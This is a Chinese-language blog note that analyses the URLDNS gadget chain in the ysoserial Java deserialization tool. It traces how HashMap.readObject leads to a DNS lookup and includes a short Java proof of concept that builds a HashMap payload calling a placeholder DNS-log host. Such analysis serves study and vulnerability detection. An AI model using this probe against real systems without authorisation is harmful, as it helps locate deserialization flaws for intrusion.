URLDNS

ysoseria

ysoserial 是一个专门用来生成利用Java反序列化漏洞的载荷(payload)的工具。 项目地址:https://github.com/frohoff/ysoserial

ysoserial的payload源码位于./src/main/java/ysoserial/payloads/

每个payload中都有一个main函数,其中调用了PayloadRunner.run,可以通过执行mian函数来单独调试某个payload。

每个PayloadRunner.run()都会尝试接收一个命令行参数作为要执行的命令,在IDEA中可以进入运行配置中指定参数。

URLDNS

URLDNS是ysoserial中的一条反序列化链名称,主要作用就是可以指定一个URL,当目标进行反序列化后会发起DNS请求,通过观察DNSlog就能判断序列化数据是否被反序列化。

这个算不上是一个利用链,因为我们传入的参数是url而非命令,触发的结果也不是命令执行而是DNS请求,因此主要用于判断是否存在java反序列化漏洞。并且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。

编辑配置

在URLDNS类的getObject方法中,会生成paylaod,这个方法会返回一个对象,这个对象就是最后被序列化的对象,是HashMap类型。触发反序列化的方法是readObject方法,于是继续看HashMap类的readObject方法。

HashMap类的readObject方法主要是让HashMap对象在字节流中恢复其状态。此处需要关注最后一个hash函数,因为在ysoserial注释中说明了,此处hashcode的计算操作触发了DNS请求。跟进hash函数 ![](C:/Users/tbb/Documents/Obsidian Vault/output/attachment/09e20a44a599d8d49cabe4deb0359abf.png)

这里是调用了key的hashCode方法

而hashCode方法中,是对handler进行hashcode的计算,handler是URLStreamHandler对象。如果不是-1,则表示算过了,之后不算了,直接返回hashCode;是-1则进入handler.hashCode()计算中,触发DNS也是在这一步。 继续跟入handler.hashCode()方法

getProtocol()获取协议名,调用getHostAddress()方法,继续跟入 ![](C:/Users/tbb/Documents/Obsidian Vault/output/attachment/049657b1eefd55a81d4d4e5ecfa89f16.png)

InetAddress.getByName(host)的作用是根据主机名,获取其IP地址,在网络上其实就是一次 DNS查询,此处触发DNS记录。

有DNS记录

1
2
3
4
5
6
7
8
Gadget:
HashMap.readObject()
HashMap.putVal()
HashMap.hash() 
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()

POC编写:传入一个 URL 对象,由于其hashCode字段是私有的,修改之前需要开权限setAccessible(true),然后设置为-1,就会触发DNS。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {
        //0x01.生成payload
        //设置一个hashMap
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        //设置我们可以接受DNS查询的地址
        URL url = new URL("http://xxx.ceye.io");
        //将URL的hashCode字段设置为允许修改
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        
        //为了避免在put中触发URLDNS查询进行如下操作,如果不这么写就会触发两次
        //1. 设置url的hashCode字段为0xdeadbeef(随意的值)
        f.set(url, 0xdeadbeef); 
        //2. 将url放入hashMap中,右边参数随便写
        hashMap.put(url, "rmb122");
        //修改url的hashCode字段为-1,为了触发DNS查询
        f.set(url, -1); 
}

总结:在URLDNS里面其实导致反序列化的根本原因是因为hashmap重写了readobject反序列化方法,而重写后的readobject方法调用了putVal导致的一个利用链。

参考: https://www.cnblogs.com/N0r4h/p/15840776.html https://www.cnblogs.com/nice0e3/p/13772184.html

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行